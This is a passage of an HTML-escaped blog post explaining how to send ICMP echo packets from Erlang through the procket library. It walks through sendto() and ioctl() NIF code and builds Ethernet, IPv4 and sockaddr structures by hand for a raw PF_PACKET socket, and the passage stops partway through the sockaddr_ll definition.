/&gt;&lt;h1&gt;An Erlang Interface to sendto()&lt;/h1&gt;&lt;br /&gt;According the man page, sendto() takes the following arguments:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;ssize_t&lt;/span&gt; sendto(&lt;br /&gt;        &lt;span class="Type"&gt;int&lt;/span&gt; s,&lt;br /&gt;        &lt;span class="Type"&gt;const&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; *buf,&lt;br /&gt;        &lt;span class="Type"&gt;size_t&lt;/span&gt; len,&lt;br /&gt;        &lt;span class="Type"&gt;int&lt;/span&gt; flags,&lt;br /&gt;        &lt;span class="Type"&gt;const&lt;/span&gt; &lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr *to,&lt;br /&gt;        socklen_t tolen&lt;br /&gt;        )&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;s&lt;/em&gt; is the file descriptor, representing the socket returned by open().&lt;br /&gt;&lt;li&gt;&lt;em&gt;buf&lt;/em&gt; is the payload to be sent in the packet.&lt;br /&gt;&lt;li&gt;&lt;em&gt;len&lt;/em&gt; is the size of the buffer in bytes.&lt;br /&gt;&lt;li&gt;&lt;em&gt;flags&lt;/em&gt; is the result of OR'ing together integers which affects the behaviour of the socket. Typically, flags is set to 0.&lt;br /&gt;&lt;li&gt;&lt;em&gt;struct sockaddr&lt;/em&gt; is a buffer based on the type of socket. It is cast to the "generic" sockaddr structure. Different types of socket addresses are, for example, sockaddr_in for Internet sockets, sockaddr_un for Unix (local) sockets and sockaddr_ll for link layer sockets. We'll be looking at &lt;em&gt;sockaddr_in&lt;/em&gt; sockets in this section and &lt;em&gt;sockaddr_ll&lt;/em&gt; sockets when investigating sending out packets using the PF_PACKET raw socket interface later on.&lt;br /&gt;&lt;/ul&gt;It's worth noting that &lt;pre&gt;sendto(socket, buf, buflen, flags, NULL, 0)&lt;/pre&gt;is equivalent to &lt;pre&gt;send()&lt;/pre&gt;and &lt;pre&gt;sendto(socket, buf, buflen, 0, NULL, 0)&lt;/pre&gt;is equivelent to &lt;pre&gt;write()&lt;/pre&gt;With a bit of tweaking (may have to change the procket NIF a bit), we'll be able to use the sendto() to do both send()'s and write()'s in the future (both can be used when the socket has been already been bound using bind()).  The procket Erlang sendto/4 interface looks like this: &lt;pre class="Code"&gt;sendto(Socket, Packet, Flags, Sockaddr)&lt;br /&gt;&lt;/pre&gt;Where: &lt;ul&gt;&lt;li&gt;&lt;em&gt;Socket&lt;/em&gt; is an integer returned from &lt;em&gt;procket:open/1&lt;/em&gt; representing the file descriptor.&lt;br /&gt;&lt;li&gt;&lt;em&gt;Packet&lt;/em&gt; is a binary holding the packet payload.&lt;br /&gt;&lt;li&gt;&lt;em&gt;Flags&lt;/em&gt; is the result of OR'ing the socket options. See the &lt;a href="http://linux.die.net/man/2/sendto"&gt;sendto()&lt;/a&gt; man page for the possible parameters.&lt;br /&gt;&lt;li&gt;&lt;em&gt;Sockaddr&lt;/em&gt; is an Erlang binary representation of the &lt;em&gt;sockaddr&lt;/em&gt; structure for the type of socket in use.&lt;br /&gt;&lt;/ul&gt;&lt;h1&gt;An Example of Using &lt;em&gt;sendto/4&lt;/em&gt;&lt;/h1&gt;In the original example of sending an &lt;a href="http://blog.listincomprehension.com/2010/05/icmp-ping-in-erlang.html"&gt;ICMP echo packet from Erlang&lt;/a&gt;, we (mis-)used &lt;a href="http://www.erlang.org/doc/man/gen_udp.html"&gt;gen_udp&lt;/a&gt; to send and receive ICMP packets.  Here is an example of sending ICMP packets using the sendto/4 NIF: &lt;script src="http://gist.github.com/438473.js?file=icmp2.erl"&gt;&lt;/script&gt;  To send the ICMP packet using sendto/4, we must create the &lt;em&gt;struct sockaddr_in&lt;/em&gt; as an Erlang binary. In &lt;em&gt;linux/in.h&lt;/em&gt;, the structure is defined as: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr_in {&lt;br /&gt;    sa_family_t     sin_family; &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Address family: 2 bytes &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    in_port_t       sin_port;   &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Port number: 2 bytes &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;struct&lt;/span&gt; in_addr  sin_addr;   &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Internet address: 4 bytes &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Pad to size of `struct sockaddr'. &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;char&lt;/span&gt;   sin_zero[&lt;span class="Constant"&gt;8&lt;/span&gt;];&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;Both sa_family_t and in_port_t are 2 bytes. The total size of the struct is 16 bytes.  The Erlang binary used to represent this is: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;?&lt;span class="Identifier"&gt;PF_INET:16&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;native,             &lt;span class="Comment"&gt;% sin_family&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:16&lt;/span&gt;,                           &lt;span class="Comment"&gt;% sin_port&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;IP1:8&lt;/span&gt;, &lt;span class="Identifier"&gt;IP2:8&lt;/span&gt;, &lt;span class="Identifier"&gt;IP3:8&lt;/span&gt;, &lt;span class="Identifier"&gt;IP4:8&lt;/span&gt;,     &lt;span class="Comment"&gt;% sin_addr&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:64&lt;/span&gt;                            &lt;span class="Comment"&gt;% sin_zero&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;The value of the PF_INET macro (or 2) is taken from &lt;em&gt;bits/socket.h&lt;/em&gt;.  The value of the different PF_* macros is always in native endian format.&lt;br /&gt;&lt;li&gt;Since we are sending an ICMP packet, the port has no meaning and is set to 0.&lt;br /&gt;&lt;li&gt;&lt;em&gt;IP1&lt;/em&gt; through &lt;em&gt;IP4&lt;/em&gt; refer to the components of an IPv4 address, represented in Erlang as a 4-tuple of bytes such as {192,168,10,1}.&lt;br /&gt;&lt;li&gt;The sin_zero member is always set to 8 zero'ed bytes.&lt;br /&gt;&lt;/ul&gt;The corresponding NIF function can be found in &lt;a href="http://github.com/msantos/procket/blob/master/c_src/procket.c#L"&gt;procket.c&lt;/a&gt;: &lt;pre class="Code" &gt;&lt;span class="Type"&gt;static&lt;/span&gt; ERL_NIF_TERM&lt;br /&gt;nif_sendto(ErlNifEnv *env, &lt;span class="Type"&gt;int&lt;/span&gt; argc, &lt;span class="Type"&gt;const&lt;/span&gt; ERL_NIF_TERM argv[])&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; sockfd = -&lt;span class="Constant"&gt;1&lt;/span&gt;;&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; flags = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    ErlNifBinary buf;&lt;br /&gt;    ErlNifBinary sa;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!enif_get_int(env, argv[&lt;span class="Constant"&gt;0&lt;/span&gt;], &amp;amp;sockfd))&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_badarg(env);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!enif_inspect_binary(env, argv[&lt;span class="Constant"&gt;1&lt;/span&gt;], &amp;amp;buf))&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_badarg(env);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!enif_get_int(env, argv[&lt;span class="Constant"&gt;2&lt;/span&gt;], &amp;amp;flags))&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_badarg(env);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!enif_inspect_binary(env, argv[&lt;span class="Constant"&gt;3&lt;/span&gt;], &amp;amp;sa))&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_badarg(env);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (sendto(sockfd, buf.data, buf.size, flags, (&lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr *)sa.data, sa.size) == -&lt;span class="Constant"&gt;1&lt;/span&gt;)&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_tuple(env, &lt;span class="Constant"&gt;2&lt;/span&gt;,&lt;br /&gt;            atom_error,&lt;br /&gt;            enif_make_tuple(env, &lt;span class="Constant"&gt;2&lt;/span&gt;,&lt;br /&gt;            enif_make_int(env, errno),&lt;br /&gt;            enif_make_string(env, strerror(errno), ERL_NIF_LATIN1)));&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; atom_ok;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;The nif_sendto() function takes the Erlang binary and casts it to a sockaddr structure. &lt;h1&gt;Tedium, or the Perils of Constructing Packets by Hand&lt;/h1&gt;When requesting a file descriptor using socket(), the PF_PACKET interface allows the user to construct either whole ethernet frames (using the SOCK_RAW type) or cooked packets to which the kernel will prepend ethernet headers (using the SOCK_DGRAM type). I had some problems with SOCK_DGRAM packets which I'll probably talk about in another blog post. But for now, I'll describe how to create ICMP echo packets using the PF_PACKET SOCK_RAW type.  To get a file descriptor with the appropriate settings from procket: &lt;pre class="Code"&gt;{ok, FD} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;procket:listen&lt;/span&gt;(&lt;span class="Constant"&gt;0&lt;/span&gt;, [{protocol, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;0008&lt;/span&gt;}, {type, raw}, {family, packet}])&lt;br /&gt;&lt;/pre&gt;Notice that, since I'm on a little endian platform, I byte swapped the defintion of ETH_P_IP to big endian format.  &lt;h2&gt;Retrieving the Interface Index&lt;/h2&gt;To figure out the index of our interface, we need to call an ioctl(). Conveniently, procket provides an NIF ioctl() interface.  The C ioctl() interface is defined as: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;int&lt;/span&gt; ioctl(&lt;span class="Type"&gt;int&lt;/span&gt; d, &lt;span class="Type"&gt;int&lt;/span&gt; request, ...);&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;d&lt;/em&gt; is the file descriptor.&lt;br /&gt;&lt;li&gt;&lt;em&gt;request&lt;/em&gt; is an integer representing a device dependent instruction.&lt;br /&gt;&lt;li&gt;The remaining argument to ioctl() is usually a buffer holding a device dependent structure. In this case, we will pass an &lt;em&gt;ifreq&lt;/em&gt; structure. The buffer acts as both the input and output for the ioctl.&lt;br /&gt;&lt;/ul&gt;&lt;em&gt;struct ifreq&lt;/em&gt;, as defined in net/if.h, is composed of 2 unions. &lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; ifreq&lt;br /&gt;{&lt;br /&gt;&lt;span class="PreProc"&gt;# define IFHWADDRLEN    &lt;/span&gt;&lt;span class="Constant"&gt;6&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;# define IFNAMSIZ   IF_NAMESIZE&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;union&lt;/span&gt;&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="Type"&gt;char&lt;/span&gt; ifrn_name[IFNAMSIZ];   &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Interface name, e.g. &amp;quot;en0&amp;quot;.  &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    } ifr_ifrn;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Type"&gt;union&lt;/span&gt;&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr ifru_addr;&lt;br /&gt;        &lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr ifru_dstaddr;&lt;br /&gt;        &lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr ifru_broadaddr;&lt;br /&gt;        &lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr ifru_netmask;&lt;br /&gt;        &lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr ifru_hwaddr;&lt;br /&gt;        &lt;span class="Type"&gt;short&lt;/span&gt; &lt;span class="Type"&gt;int&lt;/span&gt; ifru_flags;&lt;br /&gt;        &lt;span class="Type"&gt;int&lt;/span&gt; ifru_ivalue;&lt;br /&gt;        &lt;span class="Type"&gt;int&lt;/span&gt; ifru_mtu;&lt;br /&gt;        &lt;span class="Type"&gt;struct&lt;/span&gt; ifmap ifru_map;&lt;br /&gt;        &lt;span class="Type"&gt;char&lt;/span&gt; ifru_slave[IFNAMSIZ];  &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Just fits the size &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;        &lt;span class="Type"&gt;char&lt;/span&gt; ifru_newname[IFNAMSIZ];&lt;br /&gt;        __caddr_t ifru_data;&lt;br /&gt;    } ifr_ifru;&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;But to get the interface index, we're only interested in these struct members: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; ifreq {&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; ifrn_name[&lt;span class="Constant"&gt;16&lt;/span&gt;];&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt;  ifr_ifindex;&lt;br /&gt;}&lt;br /&gt;&lt;span class="PreProc"&gt;# define ifr_name   ifr_ifrn.ifrn_name  &lt;/span&gt;&lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; interface name   &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;# define ifr_ifindex    ifr_ifru.ifru_ivalue    &lt;/span&gt;&lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; interface index      &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;In Erlang terms, we can pass in the full 32 byte structure (only 4 bytes of the second union is actually used).  On input, if we are interested in using the "eth0" interface: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;, &lt;span class="Identifier"&gt;96:0&lt;/span&gt;,   &lt;span class="Comment"&gt;% ifrn_name, 16 bytes&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:128&lt;/span&gt;           &lt;span class="Comment"&gt;% ifr_ifru union for the response, 16 bytes&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;On output: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;, &lt;span class="Identifier"&gt;96:0&lt;/span&gt;,   &lt;span class="Comment"&gt;% ifrn_name, 16 bytes&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;Ifr:32&lt;/span&gt;,         &lt;span class="Comment"&gt;% interface index&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;0:96&lt;/span&gt;            &lt;span class="Comment"&gt;% unused&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;So, to retrieve the value in Erlang: &lt;pre class="Code"&gt;{ok, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;_Ifname:16&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes, &lt;span class="Identifier"&gt;Ifr:32&lt;/span&gt;, _&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;procket:ioctl&lt;/span&gt;(S,&lt;br /&gt;    ?SIOCGIFINDEX,&lt;br /&gt;    &lt;span class="Identifier"&gt;list_to_binary&lt;/span&gt;([&lt;br /&gt;            Dev, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;((&lt;span class="Constant"&gt;16&lt;/span&gt;&lt;span class="Statement"&gt;*&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;) &lt;span class="Statement"&gt;-&lt;/span&gt; (&lt;span class="Identifier"&gt;length&lt;/span&gt;(Dev)&lt;span class="Statement"&gt;*&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;)), &lt;span class="Identifier"&gt;0:128&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;        ])),&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;Dev&lt;/em&gt; is a list holding the device name, such as "eth0" or "ath0".&lt;br /&gt;&lt;li&gt;&lt;em&gt;Ifr&lt;/em&gt; is the part of the binary holding the interface index returned by the ioctl().&lt;br /&gt;&lt;/ul&gt;The corresponding NIF function can be found in &lt;a href="http://github.com/msantos/procket/blob/master/c_src/procket.c#L239"&gt;procket.c&lt;/a&gt;: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;static&lt;/span&gt; ERL_NIF_TERM&lt;br /&gt;nif_ioctl(ErlNifEnv *env, &lt;span class="Type"&gt;int&lt;/span&gt; argc, &lt;span class="Type"&gt;const&lt;/span&gt; ERL_NIF_TERM argv[])&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; s = -&lt;span class="Constant"&gt;1&lt;/span&gt;;&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; req = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;    ErlNifBinary ifr;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!enif_get_int(env, argv[&lt;span class="Constant"&gt;0&lt;/span&gt;], &amp;amp;s))&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_badarg(env);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!enif_get_int(env, argv[&lt;span class="Constant"&gt;1&lt;/span&gt;], &amp;amp;req))&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_badarg(env);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!enif_inspect_binary(env, argv[&lt;span class="Constant"&gt;2&lt;/span&gt;], &amp;amp;ifr))&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_badarg(env);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (!enif_realloc_binary(env, &amp;amp;ifr, ifr.size))&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_badarg(env);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (ioctl(s, req, ifr.data) &amp;lt; &lt;span class="Constant"&gt;0&lt;/span&gt;)&lt;br /&gt;        &lt;span class="Statement"&gt;return&lt;/span&gt; error_tuple(env, strerror(errno));&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; enif_make_tuple(env, &lt;span class="Constant"&gt;2&lt;/span&gt;,&lt;br /&gt;            atom_ok,&lt;br /&gt;            enif_make_binary(env, &amp;amp;ifr));&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;The nif_ioctl() function takes, as arguments, the socket descriptor and a binary buffer representing the ifreq structure. The binary is made writable, passed to ioctl() and returned to the caller.  &lt;h2&gt;Preparing the ICMP Packet&lt;/h2&gt;Unlike the other examples of sending an ICMP packet, we'll need to prepare more than the ICMP header and payload. Because we are sending directly out on the interface, we have to add the ethernet and IPv4 header.  &lt;h3&gt;Ethernet Header&lt;/h3&gt;The ethernet header is composed of 6 bytes each for the destination and source MAC addresses and two bytes for the ethernet type. &lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Destination MAC Address:48&lt;/li&gt;&lt;li class="Message"&gt;Source MAC Address:48&lt;/li&gt;&lt;li class="Message"&gt;Type:16&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;The list of ethernet types can be found in &lt;em&gt;linux/if_ether.h&lt;/em&gt;.  The Erlang specification for this message format would be (assuming the destination mac address is 00:aa:bb:cc:dd:ee and the source mac address is 00:11:22:33:44:55): &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;00&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;aa&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;bb&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;cc&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;dd&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;ee&lt;/span&gt;,   &lt;span class="Comment"&gt;% destination MAC address&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;00&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;11&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt; &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;22&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;33&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;44&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;55&lt;/span&gt;,   &lt;span class="Comment"&gt;% source MAC address&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;08&lt;/span&gt;, &lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;00&lt;/span&gt;                                &lt;span class="Comment"&gt;% type: ETH_P_IP&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h3&gt;IPv4 Header&lt;/h3&gt;The IPv4 header is: &lt;div&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Version:4&lt;/li&gt;&lt;li class="Message"&gt;IHL:4&lt;/li&gt;&lt;li class="Message"&gt;ToS:8&lt;/li&gt;&lt;li class="Message"&gt;Total Length:16&lt;/li&gt;&lt;li class="Message"&gt;Identification:16&lt;/li&gt;&lt;li class="Message"&gt;Flags:3&lt;/li&gt;&lt;li class="Message"&gt;Fragment Offset:13&lt;/li&gt;&lt;li class="Message"&gt;Time to Live:8&lt;/li&gt;&lt;li class="Message"&gt;Protocol:8&lt;/li&gt;&lt;li class="Message"&gt;Checksum:16&lt;/li&gt;&lt;li class="Message"&gt;Source Address:32&lt;/li&gt;&lt;li class="Message"&gt;Destination Address:32&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;I won't bother to explain each field. See &lt;a href="http://www.faqs.org/rfcs/rfc791.html"&gt;RFC 791&lt;/a&gt; for details.  Constructing an Erlang IPv4 header involves declaring the header once with the checksum field set to zero, performing a checksum on the header, then incorporating the checksum in the 2 byte checksum field.   &lt;pre class="Code"&gt;IPv4 &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;4:4&lt;/span&gt;, &lt;span class="Identifier"&gt;5:4&lt;/span&gt;, &lt;span class="Identifier"&gt;0:8&lt;/span&gt;, &lt;span class="Identifier"&gt;84:16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;Id:16&lt;/span&gt;, &lt;span class="Identifier"&gt;0:1&lt;/span&gt;, &lt;span class="Identifier"&gt;1:1&lt;/span&gt;, &lt;span class="Identifier"&gt;0:1&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;0:13&lt;/span&gt;, &lt;span class="Identifier"&gt;TTL:8&lt;/span&gt;, ?&lt;span class="Identifier"&gt;IPPROTO_ICMP:8&lt;/span&gt;, &lt;span class="Identifier"&gt;0:16&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;SA1:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA2:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA3:8&lt;/span&gt;, &lt;span class="Identifier"&gt;SA4:8&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;DA1:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA2:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA3:8&lt;/span&gt;, &lt;span class="Identifier"&gt;DA4:8&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;Id&lt;/em&gt; is a hint for reconstructing fragmented packets by the receiving host.&lt;br /&gt;&lt;li&gt;&lt;em&gt;IPPROTO_ICMP&lt;/em&gt; is a macro set to 1. The value is defined in &lt;em&gt;netinet/in.h&lt;/em&gt;.  &lt;br /&gt;&lt;li&gt;The checksum field is set to 0 for checksumming purposes. After the checksum has been calculated, the resulting value is placed in this field.&lt;br /&gt;&lt;li&gt;The &lt;em&gt;TTL&lt;/em&gt; is set to 64. Packets with a time to live of 0 are discarded.&lt;br /&gt;&lt;li&gt;&lt;em&gt;SA1&lt;/em&gt; to &lt;em&gt;SA4&lt;/em&gt; are the bytes representing the IPv4 source address.&lt;br /&gt;&lt;li&gt;&lt;em&gt;DA1&lt;/em&gt; to &lt;em&gt;DA4&lt;/em&gt; are the bytes representing the IPv4 destination address.&lt;br /&gt;&lt;/ul&gt;&lt;h3&gt;ICMP Header&lt;/h3&gt;I won't go over &lt;a href="http://blog.listincomprehension.com/2010/05/icmp-ping-in-erlang.html"&gt;constructing the ICMP header&lt;/a&gt;, since it's been covered here.  &lt;h2&gt;Finally Sending the Packet&lt;/h2&gt;We have a raw PF_PACKET socket, the index of the interface to use the sendto() operation and a binary representing the ICMP packet and payload. We have the pieces in place now to send out the ping.  We could bind() the interface and then use write() or send() to push out packets. In this example, we'll specify the link layer socket address structure holding the routing information for each packet. &lt;pre class="Code"&gt;&lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr_ll {&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;short&lt;/span&gt; sll_family;   &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Always AF_PACKET &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;short&lt;/span&gt; sll_protocol; &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Physical layer protocol &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt;            sll_ifindex;  &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Interface number &lt;/span&gt;&lt;span class="Comment"&gt;*/&lt;/span&gt;&lt;br /&gt;    &lt;span class="Type"&gt;unsigned&lt;/span&gt; &lt;span class="Type"&gt;short&lt;/span&gt; sll_hatype;   &lt;span class="Comment"&gt;/*&lt;/span&gt;&lt;span class="Comment"&gt; Header type &lt;/span&gt;&lt;span 